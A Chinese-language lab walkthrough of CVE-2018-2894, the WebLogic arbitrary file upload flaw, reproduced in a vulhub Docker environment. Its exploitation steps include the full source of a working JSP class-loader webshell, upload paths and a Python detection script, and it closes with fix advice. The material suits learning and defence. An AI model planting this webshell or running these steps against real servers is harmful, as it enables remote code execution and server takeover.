1 漏洞描述
CVE-2018-2894漏洞存在于Oracle WebLogic Server的Web服务测试页面(Web Service Test Page)中。这个页面允许用户测试Web服务的功能,但在某些版本中,它包含了一个未经授权的文件上传功能。攻击者可以利用这个漏洞,上传恶意的JSP或其他可执行文件,并在服务器上执行这些文件,从而获得服务器的完全控制权。
受影响的WebLogic Server版本包括10.3.6.0、12.1.3.0、12.2.1.2和12.2.1.3。漏洞影响的页面路径为/ws_utc/begin.do
和/ws_utc/config.do
。
2 漏洞原理
攻击者首先通过访问/ws_utc/config.do
页面,更改工作目录,将存储JKS Keystores的文件目录替换为有效的WebLogic Web路径。然后,攻击者可以上传恶意的JSP脚本文件到该路径。一旦文件上传成功,攻击者就可以通过访问最终的JSP文件路径地址来执行代码。
3 vulhub靶场漏洞
进入漏洞文件 cd vulhub/weblogic 启动漏洞环境 docker compose up -d 查看端口 docker-compose ps
访问 ,您将看到页面,表示环境正在成功运行。
4 漏洞复现
扫描这个7001weblogic漏洞端口下有什么目录,发现存在/console/、/bea_wls_internal/目录
执行docker compose logs | grep password
可查看管理员密码,管理员用户名为weblogic
。
得到账户为weblogic 密码为XwufFm4T
这里我们需要访问一个任意上传jsp文件漏洞功能点的目录位置,扫描目录的时候没有扫出来,但是你上网搜素这个CVE-2018-2894都是可以找到这个目录名字的,/ws_utc/config.do(未授权访问)
Oracle 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,所以我们想要利用这个任意jsp文件上传漏洞,需要手动在刚才的登录进去的页面里面把一个web服务开启,然后才可以利用。
第一步 点击base_domain,后点击这个高级
第二步 把这个web服务勾上,然后再点击保存
第三步 修改ws_utc/config.do下的当前的工作目录
/u01/oracle/user_projects/domains/base_domain/tmp/WSTestPageWorkDir
改为
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
第四步 利用中国蚁剑生成jsp木马文件
网上找的jsp木马文件,但是蚁剑生成shell不知道什么原因链接不到
<%! class U extends ClassLoader { U(ClassLoader c) { super(c); } public Class g(byte[] b) { return super.defineClass(b, 0, b.length); } } public byte[] base64Decode(String str) throws Exception { try { Class clazz = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); } catch (Exception e) { Class clazz = Class.forName("java.util.Base64"); Object decoder = clazz.getMethod("getDecoder").invoke(null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); } } %> <% String cls = request.getParameter("fafa"); if (cls != null) { new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext); } %>
第五步 保存为shell.jsp文件
第六步 上传shell.jsp木马文件
第七步 利用bp抓包,然后找到这个上传文件的时间戳,如果有好多个,那么就取最后一个时间戳,然后这个jsp木马上传的位置目录如下,
http://192.168.135.132:7001/ws_utc/css/config/keystore/1715590670525_shell.jsp
第八步 用中国蚁剑链接
5 使用python脚本探测漏洞
下面是对给定代码添加注释的版本: python import requests # 导入requests库,用于发送HTTP请求 # 定义两个目标URL,这两个URL可能是存在安全漏洞的Web服务的API接口 url1 = 'http://192.168.135.132:7001/ws_utc/config.do' url2 = 'http://192.168.135.132:7001/ws_utc/begin.do' def poc(): # 定义HTTP请求的头部信息 headers = { 'Content-Type':'text/html; charset=UTF-8', # 设置内容类型为HTML,并指定字符集为UTF-8(尽管是GET请求,但此头部信息可能不是必需的) 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0' # 伪造的User-Agent,模拟常见的浏览器行为 } # 发送GET请求到url1 res1 = requests.get(url1,headers=headers) # 发送GET请求到url2 res2 = requests.get(url2,headers=headers) # 检查两个请求的响应状态码是否都是200(表示请求成功) if res1.status_code == 200 and res2.status_code == 200: # 如果都是200,则打印出存在某个CVE(可能是CVE-2018-2894,但注释中未明确指定)的消息 print("存在CVE-2018-2894(或其他未指定的安全漏洞)") else: # 如果不是,则打印出不存在此漏洞的消息 print("不存在此漏洞") # 当这个脚本作为主程序运行时,执行poc函数 if __name__ == "__main__": poc()
结果
6 修复建议
为了修复这个漏洞,你可以采取以下措施:
-
升级到Oracle WebLogic Server的最新版本。新版本已经修复了这个漏洞。
-
如果无法立即升级,你可以通过配置WebLogic Server来限制对
/ws_utc/begin.do
和/ws_utc/config.do
页面的访问。你可以要求用户进行身份验证才能访问这些页面,或者完全禁用这些页面。 -
使用IPS(入侵防御系统)等安全设备来监控和阻止针对这个漏洞的攻击。这些设备可以检测并阻止恶意文件上传和远程代码执行的行为。
-
定期审查你的WebLogic Server的安全配置和补丁更新情况,确保你的系统始终保持最新的安全状态。